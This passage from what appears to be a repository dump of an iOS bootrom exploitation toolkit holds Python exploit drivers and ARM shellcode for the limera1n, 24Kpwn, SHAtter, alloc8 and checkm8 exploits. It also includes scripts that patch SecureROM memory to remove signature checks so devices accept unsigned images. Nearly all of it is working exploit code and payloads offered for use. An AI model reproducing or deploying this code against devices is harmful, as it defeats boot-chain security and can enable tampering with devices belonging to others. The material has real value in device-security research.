with open('bin/limera1n-shellcode.bin', 'rb') as f:
shellcode = f.read()
# Shellcode has placeholder values for constants; check they match and replace with constants from config
placeholders_offset = len(shellcode) - 4 * len(constants)
for i in range(len(constants)):
offset = placeholders_offset + 4 * i
(value,) = struct.unpack('<I', shellcode[offset:offset + 4])
assert value == 0xBAD00001 + i
shellcode_address = 0x84000400 + 1
heap_block = struct.pack('<4I48s', 0x405, 0x101, shellcode_address, exploit_lr, '\xCC' * 48)
return heap_block * 16 + shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants)
def exploit():
print '*** based on limera1n exploit (heap overflow) by geohot ***'
device = dfu.acquire_device()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
chosenConfig = None
for config in configs:
if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
chosenConfig = config
break
if chosenConfig is None:
for config in configs:
if 'CPID:%s' % config.cpid in device.serial_number:
print 'ERROR: CPID is compatible, but serial number string does not match.'
print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
sys.exit(1)
print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.'
sys.exit(1)
dfu.send_data(device, generate_payload(chosenConfig.constants, chosenConfig.exploit_lr))
assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1
limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 10)
try:
device.ctrl_transfer(0x21, 2, 0, 0, 0, 10)
print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.'
sys.exit(1)
except usb.core.USBError:
# OK: This request should have raised USBError.
pass
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
failed = 'PWND:[limera1n]' not in device.serial_number
dfu.release_device(device)
if failed:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
================================================
FILE: nor-backups/README
================================================
Your NOR backups will be stored here.
================================================
FILE: nor.py
================================================
import binascii, struct
NOR_SIZE = 0x100000
class NorData():
def __init__(self, dump):
assert len(dump) == NOR_SIZE
(img2_magic, self.block_size, unused, firmware_block, firmware_block_count) = struct.unpack('<4s4I', dump[:20])
(img2_crc,) = struct.unpack('<I', dump[48:52])
assert img2_crc == binascii.crc32(dump[:48]) & 0xffffffff
self.firmware_offset = self.block_size * firmware_block
self.firmware_length = self.block_size * firmware_block_count
self.parts = [
dump[0:52],
dump[52:512],
dump[512:self.firmware_offset],
dump[self.firmware_offset:self.firmware_offset + self.firmware_length],
dump[self.firmware_offset + self.firmware_length:]
]
self.images = []
offset = 0
while 1:
(magic, size) = struct.unpack('<4sI', self.parts[3][offset:offset+8])
if magic != 'Img3'[::-1] or size == 0:
break
self.images.append(self.parts[3][offset:offset + size])
offset += size
def dump(self):
# Replace self.parts[3] with content of self.images
all_images = ''.join(self.images)
all_images += '\xff' * (self.firmware_length - len(all_images))
dump = self.parts[0] + self.parts[1] + self.parts[2] + all_images + self.parts[4]
assert len(dump) == NOR_SIZE
return dump
================================================
FILE: recovery.py
================================================
import sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import usb.backend.libusb1
import libusbfinder
MAX_PACKET_SIZE = 0x4000
def acquire_device(timeout=10):
backend = usb.backend.libusb1.get_backend(find_library=lambda x:libusbfinder.libusb1_path())
#print 'Acquiring device handle',
start = time.time()
# Keep retrying for up to timeout seconds if device is not found.
while time.time() - start < timeout:
device = usb.core.find(idVendor=0x5AC, idProduct=0x1281, backend=backend)
if device is not None:
return device
sys.stdout.flush()
time.sleep(0.1)
print 'ERROR: No Apple device in Recovery Mode 0x1281 detected. Exiting.'
sys.exit(1)
def release_device(device):
#print 'Releasing device handle.'
usb.util.dispose_resources(device)
def send_command(device, command):
# TODO: Add assert?
device.ctrl_transfer(0x40, 0, 0, 0, command + '\x00', 30000)
def send_data(device, data):
#print 'Sending 0x%x of data to device.' % len(data)
assert device.ctrl_transfer(0x41, 0, 0, 0, 0, 1000) == 0
index = 0
while index < len(data):
amount = min(len(data) - index, MAX_PACKET_SIZE)
assert device.write(0x04, data[index:index + amount], 1000) == amount
index += amount
================================================
FILE: rmsigchks.py
================================================
import dfu
import usbexec
import sys
import usb.core
HOST2DEVICE = 0x21
DEVICE2HOST = 0xA1
DFU_DNLOAD = 1
DFU_ABORT = 4
class DeviceConfig:
def __init__(self, version, cpid, patches):
self.version = version
self.cpid = cpid
self.patches = patches
def all_exploit_configs():
s5l8960x_patches = {
0x1000054e4: "\x1f\x20\x03\xd5",
0x1000054b4: b"".join([
b"\x21\x00\x80\x52", # mov w1, 1
b"\xe1\x9f\x02\x39", # strb w1, [sp,#0xA7]
b"\x1f\x20\x03\xd5", # nop
b"\xe1\xa7\x02\x39", # strb w1, [sp,#0xA9]
b"\xe1\xab\x02\x39", # strb w1, [sp,#0xAA]
b"\x1f\x20\x03\xd5", # nop
b"\x1f\x20\x03\xd5", # nop
b"\x1f\x20\x03\xd5", # nop
b"\x1f\x20\x03\xd5", # nop
])
}
t8011_patches = {
0x100006df8: "\x21\x00\x80\x52\xe1\xb7\x03\x39\xe1\xb3\x03\x39\xe1\xbb\x03\x39",
0x100006e0c: "\x1f\x20\x03\xd5", # nop
0x100006e10: "\x1f\x20\x03\xd5", # nop
0x100006e14: "\x1f\x20\x03\xd5", # nop
0x10000f2d0: "\x00\x00\x80\xd2\xc0\x03\x5f\xd6"
}
return [
DeviceConfig("iBoot-1704.10", 0x8960, s5l8960x_patches),
DeviceConfig("iBoot-3135.0.0.2.3", 0x8011, t8011_patches),
]
def exploit_config(serial_number):
for config in all_exploit_configs():
if "SRTG:[%s]" % config.version in serial_number:
return config
for config in all_exploit_configs():
if "CPID:%s" % config.cpid in serial_number:
print "ERROR: CPID is compatible, but serial number string does not match."
print "Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting."
sys.exit(1)
print "ERROR: This is not a compatible device. Exiting."
print "Right now, only the iPhone 5s is compatible."
sys.exit(1)
def main():
print "*** SecureROM Signature check remover by Linus Henze ***"
device = dfu.acquire_device()
print "Found:", device.serial_number
if not "PWND:[" in device.serial_number:
print "Please enable pwned DFU Mode first."
sys.exit(1)
if not "PWND:[checkm8]" in device.serial_number:
print "Only devices pwned using checkm8 are supported."
sys.exit(1)
config = exploit_config(device.serial_number)
print "Applying patches..."
try:
pdev = usbexec.PwnedUSBDevice()
except usb.core.USBError:
print "Patches have already been applied. Exiting."
sys.exit(0)
for k in config.patches.keys():
pdev.write_memory(k, config.patches[k])
print "Successfully applied patches"
print "Resetting device state"
print "* This will effectiveley disable pwned DFU Mode"
print "* Only the signature patches will remain"
# Send abort
device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
# Perform USB reset
dfu.usb_reset(device)
dfu.release_device(device)
print "Device is now ready to accept unsigned images"
if __name__ == "__main__":
main()
================================================
FILE: rmsigchks_t8015.py
================================================
import dfu
import usbexec
import sys
import usb.core
import struct
import binascii
HOST2DEVICE = 0x21
DEVICE2HOST = 0xA1
DFU_DNLOAD = 1
DFU_ABORT = 4
REMAP_PAGE = 0x000000010000c000 #heapcheck
REMAP_PAGE2 = 0x0000000100004000 #sigcheck
SRAM_PAGETABLE_PAGE = 0x0000000180014000 #works
SRAM_REMAP_PAGE = 0x00000001801f8000
SRAM_REMAP_PAGE2 = 0x00000001801f4000
PAGE_SIZE = 0x4000
def makePTE_Page_16K(addr):
addr >>= 14
e = 0b11 #valid and isPage
e |= 1 << 2 #attrIndex 1
e |= 0b10 << 6 #AP R- in EL1, -- in EL0
e |= 1 << 10 #AF
e |= addr << 14 #outputAddress
return e
def makePTE_Table_16K(addr):
addr >>= 14
e = 0b11 #valid and isTable
e |= addr << 14 #outputAddress
return e
def main():
print "*** SecureROM t8015 sigcheckpath by tihmstar ***"
device = dfu.acquire_device()
print "Found:", device.serial_number
if not "PWND:[" in device.serial_number:
print "Please enable pwned DFU Mode first."
sys.exit(1)
if not "PWND:[checkm8]" in device.serial_number:
print "Only devices pwned using checkm8 are supported."
sys.exit(1)
dfu.release_device(device)
device = usbexec.PwnedUSBDevice()
#make Level3 Table
l3table = ""
for addr in range(0x0000000100000000,0x0000000100100000,PAGE_SIZE):
entry = struct.pack("<Q",makePTE_Page_16K(addr))
if addr == REMAP_PAGE: #we are remapping heapcheck page
entry = struct.pack("<Q",makePTE_Page_16K(SRAM_REMAP_PAGE))
elif addr == REMAP_PAGE2: #we are remapping sigcheck page
entry = struct.pack("<Q",makePTE_Page_16K(SRAM_REMAP_PAGE2))
l3table += entry
#we write L3 Table here
device.write_memory(SRAM_PAGETABLE_PAGE,l3table)
#remap heapcheck page to sram
device.memcpy(SRAM_REMAP_PAGE,REMAP_PAGE,PAGE_SIZE)
#remap sigcheck page to sram
device.memcpy(SRAM_REMAP_PAGE2,REMAP_PAGE2,PAGE_SIZE)
# patch heap corruption check
device.write_memory(0x000000010000db98-REMAP_PAGE+SRAM_REMAP_PAGE,"\xC0\x03\x5F\xD6")
#patch codesigs
device.write_memory(0x000000010000624c-REMAP_PAGE2+SRAM_REMAP_PAGE2,"\x00\x00\x80\xD2")
#L2 Table point to L3
device.write_memory(0x000000018000c400,struct.pack("<Q",makePTE_Table_16K(SRAM_PAGETABLE_PAGE)))
#memory barrier
device.execute(0,0x1000004F0)
#flush tlb
device.execute(0,0x1000004AC)
print("done remapping and patching page")
device = dfu.acquire_device()
device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
# Perform USB reset
try:
dfu.usb_reset(device)
dfu.release_device(device)
except:
pass
print "Device is now ready to accept unsigned images"
if __name__ == "__main__":
main()
================================================
FILE: src/24Kpwn-shellcode.S
================================================
@ 24Kpwn-shellcode.S
@ Author: axi0mX
@ Shellcode for 24Kpwn exploit.
.text
.pool
.set SHA1_DWORD_ADDRESS, 0x840241cc
.set SHA1_DWORD_VALUE, 0x80100040
.set NEW_LR_ADDRESS, 0x84033f18
.set NEW_LR_VALUE, 0x2655
.set NEW_PC_VALUE, 0x21ed
.global _start
_start:
.code 16
LDR R0, =SHA1_DWORD_ADDRESS
LDR R1, =SHA1_DWORD_VALUE
STR R1, [R0] @ *SHA1_DWORD_ADDRESS = SHA1_DWORD_VALUE
LDR R0, =NEW_LR_ADDRESS
LDR R1, =NEW_LR_VALUE
STR R1, [R0] @ *NEW_LR_ADDRESS = NEW_LR_VALUE
ADD SP, SP, #0x48 @ SP += 0x48
LDR R0, =NEW_PC_VALUE
BX R0 @ goto NEW_PC_VALUE
================================================
FILE: src/SHAtter-shellcode.S
================================================
@ SHAtter-shellcode.S
@ Author: axi0mX
@ Shellcode for SHAtter exploit with minor improvements:
@ * supports 'exec' magic for code execution over USB
@ * reports PWND:[SHAtter] in USB serial number string
.text
.pool
.set free, 0x3b95
.set memz_create, 0x7469
.set memz_destroy, 0x7451
.set image3_create_struct, 0x412d
.set image3_load_continue, 0x46db
.set image3_load_fail, 0x47db
.set usb_wait_for_image, 0x4c85
.set jump_to, 0x5a5d
.set nor_power_on, 0x4e8d
.set nor_init, 0x690d
.set memmove, 0x84dc
.set strlcat, 0x90c9
.set invalidate_instruction_cache, 0x6480
.set usb_shutdown, 0x712d
.set gLeakingDFUBuffer, 0x8402dbcc
.set gUSBSerialNumber, 0x8402e0e0
.set RELOCATE_SHELLCODE_ADDRESS, 0x84039800
.set RELOCATE_SHELLCODE_SIZE, 1024
.set MAIN_STACK_ADDRESS, 0x8403c000
.set LOAD_ADDRESS, 0x84000000
.set MAX_SIZE, 0x2c000
.set EXEC_MAGIC, 0x65786563
.set IMAGE3_LOAD_SP_OFFSET, 0x68
.set IMAGE3_LOAD_STRUCT_OFFSET, 0x64
.set SECUREROM_ADDRESS, 0xbf000000
.set SECUREROM_DATA_ADDRESS, 0xbf00c000
.set DATA_ADDRESS, 0x8402c000
.set DATA_COPY_SIZE, 0x140
_start: .global _start
.code 16
MOV R0, #0
LDR R1, =SECUREROM_ADDRESS
MOV R2, #128
LDR R3, =memmove
BLX R3 @ memmove(0, SECUREROM_ADDRESS, 128)
LDR R0, =DATA_ADDRESS
LDR R1, =SECUREROM_DATA_ADDRESS
LDR R2, =DATA_COPY_SIZE
LDR R3, =memmove
BLX R3 @ memmove(DATA_ADDRESS, SECUREROM_DATA_ADDRESS, DATA_COPY_SIZE)
LDR R3, =usb_shutdown
BLX R3 @ usb_shutdown()
LDR R3, =invalidate_instruction_cache
BLX R3 @ invalidate_instruction_cache()
relocate_shellcode:
MOV R1, PC
SUB R1, R1, #4 @ R1 = PC - 4
LDR R0, =RELOCATE_SHELLCODE_ADDRESS
CMP R0, R1
BEQ pwned_dfu_start @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start
LDR R2, =RELOCATE_SHELLCODE_SIZE
LDR R3, =memmove
BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)
LDR R3, =RELOCATE_SHELLCODE_ADDRESS
ADD R3, R3, #1
BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)
pwned_dfu_start:
LDR R0, =MAIN_STACK_ADDRESS
SUB R0, R0, #12
MOV SP, R0 @ SP = MAIN_STACK_ADDRESS - 12
MOV R0, #1
MOV R1, #1
MOV R2, #0
LDR R3, =nor_power_on
BLX R3 @ nor_power_on(1, 1, 0)
MOV R0, #0
LDR R3, =nor_init
BLX R3 @ nor_init(0)
LDR R0, =gUSBSerialNumber
ADR R1, PWND_STRING
MOV R2, #120
LDR R3, =strlcat
BLX R3 @ strlcat(gUSBSerialNumber, PWND_STRING, 120)
pwned_dfu_loop:
LDR R3, =usb_wait_for_image
LDR R0, =LOAD_ADDRESS
LDR R1, =MAX_SIZE
BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)
MOV R4, R0 @ R4 = R0
LDR R1, =gLeakingDFUBuffer
LDR R0, [R1] @ R0 = gLeakingDFUBuffer
MOV R2, #0
STR R2, [R1] @ gLeakingDFUBuffer = 0
LDR R3, =free
BLX R3 @ free(R0)
CMP R4, #0
BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop
LDR R5, =LOAD_ADDRESS
LDR R0, [R5] @ R0 = LOAD_ADDRESS[0]
LDR R1, =EXEC_MAGIC
CMP R0, R1
BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic
LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */
LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */
LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */
LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */
LDR R4, [R5, #0x18]
STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */
LDR R4, [R5, #0x1C]
STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */
LDR R4, [R5, #0x20]
STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */
LDR R4, [R5, #0x4]
BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])
STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0
MOV R1, #0
STR R1, [R5] @ LOAD_ADDRESS[0] = 0
B pwned_dfu_loop @ goto pwned_dfu_loop
pwned_dfu_not_exec_magic:
LDR R0, =LOAD_ADDRESS
MOV R1, R4
MOV R2, #0
LDR R3, =memz_create
BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0)
CMP R0, #0
BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */
LDR R3, =LOAD_ADDRESS
STR R3, [SP] @ SP[0] = LOAD_ADDRESS
STR R4, [SP, #4] @ SP[1] = R4
MOV R4, R0 @ R4 = R0
MOV R1, SP
ADD R2, SP, #4
BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CBNZ R0, load_failed @ if (R0 != 0) goto load_failed
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
load_failed:
MOV R0, R4
LDR R3, =memz_destroy
BLX R3 @ memz_destroy(R4)
B pwned_dfu_loop @ goto pwned_dfu_loop
image3_load_no_signature_check:
PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR)
MOV R6, R11
MOV R5, R10
MOV R4, R8
PUSH {R4-R6} @ push_registers(R8, R10, R11)
ADD R7, SP, #0x18 @ R7 = SP - 0x18
LDR R4, =IMAGE3_LOAD_SP_OFFSET
MOV R5, SP
SUB R5, R5, R4
MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET
MOV R3, #0
LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET
ADD R4, R5, R4
STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0
STR R2, [SP, #0x10] @ SP[4] = R2
STR R1, [SP, #0x14] @ SP[5] = R1
STR R3, [SP, #0x18] @ SP[6] = 0
LDR R6, [R1] @ R6 = *R1
MOV R10, R1 @ R10 = R1
MOV R11, R3 @ R11 = 0
LDR R1, =MAX_SIZE
MOV R8, R1 @ R8 = MAX_SIZE
LDR R2, [R0, #4]
CMP R2, R1
BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail
MOV R8, R2 @ R8 = R0[1]
MOV R0, R4
MOV R1, R6
LDR R4, =image3_create_struct
BLX R4
MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)
LDR R3, =image3_load_continue @ R3 = image3_load_continue
CBZ R4, img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3
img3_fail:
MOV R4, #1 @ R4 = 1
LDR R3, =image3_load_fail @ R3 = image3_load_fail
img3_branch_R3:
BX R3 @ goto R3
.align 2
PWND_STRING:
.ascii " PWND:[SHAtter]\x00"
================================================
FILE: src/alloc8-shellcode.S
================================================
@ alloc8-shellcode.S
@ Author: axi0mX
@ Shellcode for alloc8 exploit with minor improvements:
@ * supports 'exec' magic for code execution over USB
@ * reports PWND:[alloc8] in USB serial number string
@ * enters pwned DFU on boot if home and power buttons are being held and cable is connected
.text
.pool
.set free, 0xBAD00004
.set get_nor_image, 0xBAD0000a
.set memz_create, 0xBAD00013
.set memz_destroy, 0xBAD00014
.set image3_create_struct, 0xBAD00017
.set image3_load_continue, 0xBAD00018
.set image3_load_fail, 0xBAD00019
.set usb_wait_for_image, 0xBAD00010
.set usb_create_serial_number_string, 0xBAD0000e
.set jump_to, 0xBAD0000d
.set exit_critical_section, 0xBAD00005
.set cable_connected, 0xBAD00008
.set power_button_pressed, 0xBAD00007
.set home_button_pressed, 0xBAD00006
.set clean_invalidate_data_cache, 0xBAD00002
.set strlcat, 0xBAD0000f
.set gNorImg3List, 0xBAD00003
.set gLeakingDFUBuffer, 0xBAD00011
.set MAIN_STACK_ADDRESS, 0xBAD00001
.set LOAD_ADDRESS, 0xBAD0000b
.set MAX_SIZE, 0xBAD0000c
.set ILLB_MAGIC, 0xBAD00009
.set MEMZ_STRUCT_MAGIC, 0xBAD00016
.set IMG3_STRUCT_MAGIC, 0xBAD00015
.set EXEC_MAGIC, 0xBAD00012
.global _start
_start:
.code 16
LDR R0, =MAIN_STACK_ADDRESS
MOV SP, R0 @ SP = MAIN_STACK_ADDRESS
LDR R0, =clean_invalidate_data_cache
BLX R0 @ clean_invalidate_data_cache()
LDR R4, =gNorImg3List @ R4 = &gNorImg3List
LDR R1, [R4, #4] @ R1 = R4[1]
LDR R5, [R1, #4] @ R5 = R1[1]
STR R4, [R1, #4] @ R1[1] = R4
STR R1, [R4] @ gNorImg3List = R1
LDR R6, =free @ R6 = free
free_loop:
CMP R4, R5
BEQ pwned_boot @ if (R4 == R5) goto pwned_boot
MOV R0, R5 @ R0 = R5
LDR R5, [R5, #4] @ R5 = R5[1]
BLX R6 @ free(R0)
B free_loop @ goto free_loop
pwned_boot:
SUB SP, SP, #0xC @ SP -= 0xC
LDR R3, =exit_critical_section
BLX R3 @ exit_critical_section()
LDR R3, =home_button_pressed
BLX R3 @ R0 = home_button_pressed()
CBZ R0, pwned_llb_boot @ if (R0 == 0) goto pwned_llb_boot
LDR R3, =power_button_pressed
BLX R3 @ R0 = power_button_pressed()
CBZ R0, pwned_llb_boot @ if (R0 == 0) goto pwned_llb_boot
LDR R3, =cable_connected
BLX R3 @ R0 = cable_connected()
CBNZ R0, pwned_dfu @ if (R0 != 0) goto pwned_dfu
pwned_llb_boot:
LDR R0, =ILLB_MAGIC
LDR R3, =get_nor_image
BLX R3 @ R0 = get_nor_image(ILLB_MAGIC)
CBZ R0, pwned_dfu @ if (R0 == 0) goto pwned_dfu
LDR R1, =LOAD_ADDRESS
STR R1, [SP] @ SP[0] = LOAD_ADDRESS
LDR R1, =MAX_SIZE
STR R1, [SP, #4] @ SP[1] = MAX_SIZE
MOV R1, SP
ADD R2, SP, #4
BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CBNZ R0, pwned_dfu @ if (R0 != 0) goto pwned_dfu
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
pwned_dfu:
MOV R0, #1
LDR R3, =usb_create_serial_number_string
BLX R3 @ R0 = usb_create_serial_number_string(1)
ADR R1, PWND_STRING
MOV R2, #120
LDR R3, =strlcat
BLX R3 @ strlcat(R0, PWND_STRING, 120)
pwned_dfu_loop:
LDR R0, =LOAD_ADDRESS
LDR R1, =MAX_SIZE
LDR R3, =usb_wait_for_image
BLX R3
MOV R4, R0 @ R4 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)
LDR R5, =gLeakingDFUBuffer
LDR R0, [R5]
LDR R3, =free
BLX R3 @ free(gLeakingDFUBuffer)
MOV R0, #0
STR R0, [R5] @ gLeakingDFUBuffer = 0
CMP R4, #0
BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop
LDR R5, =LOAD_ADDRESS
LDR R0, [R5] @ R0 = LOAD_ADDRESS[0]
LDR R1, =EXEC_MAGIC
CMP R0, R1
BEQ pwned_dfu_exec_magic @ if (R0 == EXEC_MAGIC) goto pwned_dfu_exec_magic
LDR R0, =LOAD_ADDRESS
MOV R1, R4
MOV R2, #0
LDR R3, =memz_create
BLX R3
MOV R4, R0 @ R4 = memz_create(LOAD_ADDRESS, R4, 0)
CBZ R4, pwned_dfu_loop_end @ if (R4 == 0) goto pwned_dfu_loop_end
STR R5, [SP] @ SP[0] = LOAD_ADDRESS
STR R4, [SP, #4] @ SP[1] = R4
MOV R1, SP
ADD R2, SP, #4
BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CBNZ R0, pwned_dfu_load_failed @ if (R0 != 0) goto pwned_dfu_load_failed
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
pwned_dfu_load_failed:
MOV R0, R4
LDR R3, =memz_destroy
BLX R3 @ memz_destroy(R4)
pwned_dfu_loop_end:
B pwned_dfu_loop @ goto pwned_dfu_loop
pwned_dfu_exec_magic:
LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */
LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */
LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */
LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */
LDR R4, [R5, #0x18] /* TODO: Consider replacing with memmove? */
STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */
LDR R4, [R5, #0x1C]
STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */
LDR R4, [R5, #0x20]
STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */
LDR R4, [R5, #0x4]
BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])
STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0
MOV R0, #0
STR R0, [R5] @ LOAD_ADDRESS[0] = 0
B pwned_dfu_loop @ goto pwned_dfu_loop
image3_load_no_signature_check:
PUSH {R4-R7, LR} /* TODO: Rewrite this ugly mess. */
MOV R6, R11
MOV R5, R10
MOV R4, R8
PUSH {R4-R6}
ADD R7, SP, #0x18
SUB SP, SP, #0x60
STR R2, [SP, #0x10]
MOVS R3, #0
STR R3, [SP, #0x50]
LDR R6, [R1]
MOV R10, R1
MOVS R5, R0
LDR R0, [R5, #4]
MOV R8, R0
LDR R1, =MAX_SIZE
CMP R0, R1
BGT img3_bad_size
LDR R0, [R5, #0xC]
LDR R1, =IMG3_STRUCT_MAGIC
CMP R0, R1
BNE not_nor_img3
MOV R4, R8
STR R4, [SP]
LDR R4, [R5, #0x14]
LDR R0, [R4, #8]
LDR R1, =LOAD_ADDRESS
LDR R2, [R4, #0xC]
MOVS R3, #0
LDR R4, [R0, #0x1C]
BLX R4
CMP R0, R8
BNE img3_fail
B img3_continue
not_nor_img3:
LDR R1, =MEMZ_STRUCT_MAGIC
CMP R0, R1
BNE img3_fail
img3_continue:
ADD R0, SP, #0x50
MOVS R1, R6
MOV R2, R8
MOVS R3, #0
LDR R4, =image3_create_struct
BLX R4
MOV R4, R0
CBNZ R4, img3_fail
LDR R3, =image3_load_continue
BX R3
img3_bad_size:
MOV R8, R1
img3_fail:
MOV R4, #1
LDR R3, =image3_load_fail
BX R3
.align 2
PWND_STRING:
.ascii " PWND:[alloc8]\x00"
================================================
FILE: src/checkm8_arm64.S
================================================
.text
.pool
.set PAYLOAD_OFFSET, 0xBAD00006
.set PAYLOAD_SIZE, 0xBAD00007
.set PAYLOAD_DEST, 0xBAD00005
.set PAYLOAD_PTR, 0xBAD00008
.set gUSBSerialNumber, 0xBAD00002
.set gUSBSRNMStringDescriptor, 0xBAD00004
.set gUSBDescriptors, 0xBAD00001
.set usb_create_string_descriptor, 0xBAD00003
.global _main
_main:
MOV X19, #0 // HACK: do not free this usb request
STP X29, X30, [SP,#-0x10]!
MOV X29, SP
# Do not set USB Descriptors anymore, this will cause a crash on t8011 (and maybe others)
LDR X0, =gUSBDescriptors
LDP X0, X1, [X0]
ADR X2, USB_DESCRIPTOR
LDP X3, X4, [X2]
//STP X3, X4, [X0]
//STP X3, X4, [X1]
LDP X3, X4, [X2,#0x10]
//STP X3, X4, [X0,#0x10]
//STP X3, X4, [X1,#0x10]
LDR X0, =gUSBSerialNumber
find_zero_loop:
ADD X0, X0, #1
LDRB W1, [X0]
CBNZ W1, find_zero_loop
ADR X1, PWND_STRING
LDP X2, X3, [X1]
STP X2, X3, [X0]
LDR X0, =gUSBSerialNumber
LDR X1, =usb_create_string_descriptor
BLR X1
LDR X1, =gUSBSRNMStringDescriptor
STRB W0, [X1]
LDR X0, =PAYLOAD_DEST
ADR X1, _main
LDR X2, =PAYLOAD_OFFSET
ADD X1, X1, X2
MOV X2, #0
LDR X3, =PAYLOAD_SIZE
LDR X4, =PAYLOAD_PTR
ADD X5, X0, #0x18
STR X5, [X4]
copy_loop:
LDP X3, X4, [X1]
STP X3, X4, [X0]
LDP X3, X4, [X1,#0x10]
STP X3, X4, [X0,#0x10]
LDP X3, X4, [X1,#0x20]
STP X3, X4, [X0,#0x20]
LDP X3, X4, [X1,#0x30]
STP X3, X4, [X0,#0x30]
DC CIVAC, X0
DMB SY
ADD X0, X0, #0x40
ADD X1, X1, #0x40
ADD X2, X2, #0x40
CMP X2, X3
B.CC copy_loop
SYS #0, c7, c5, #0
DSB SY
ISB
LDP X29, X30, [SP],#0x10
RET
USB_DESCRIPTOR:
.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0
PWND_STRING:
.asciz " PWND:[checkm8]"
================================================
FILE: src/checkm8_armv7.S
================================================
.text
.pool
.set PAYLOAD_OFFSET, 0xBAD00006
.set PAYLOAD_SIZE, 0xBAD00007
.set PAYLOAD_DEST, 0xBAD00005
.set PAYLOAD_PTR, 0xBAD00008
.set gUSBSerialNumber, 0xBAD00002
.set gUSBSRNMStringDescriptor, 0xBAD00004
.set gUSBDescriptors, 0xBAD00001
.set usb_create_string_descriptor, 0xBAD00003
.code 32
.global _main
_main:
MOV R4, #0 // HACK: do not free this usb request
PUSH {R4-R7,LR}
LDR R0, =gUSBDescriptors
LDRD R0, R1, [R0]
ADR R2, USB_DESCRIPTOR
LDRD R4, R5, [R2]
STRD R4, R5, [R0]
STRD R4, R5, [R1]
LDRD R4, R5, [R2,#0x8]
STRD R4, R5, [R0,#0x8]
STRD R4, R5, [R1,#0x8]
LDRD R4, R5, [R2,#0x10]
STRD R4, R5, [R0,#0x10]
STRD R4, R5, [R1,#0x10]
LDRD R4, R5, [R2,#0x18]
STRD R4, R5, [R0,#0x18]
STRD R4, R5, [R1,#0x18]
LDR R0, =gUSBSerialNumber
find_zero_loop:
ADD R0, R0, #1
LDRB R1, [R0]
CMP R1, #0
BNE find_zero_loop
ADR R1, PWND_STRING
LDR R2, [R1]
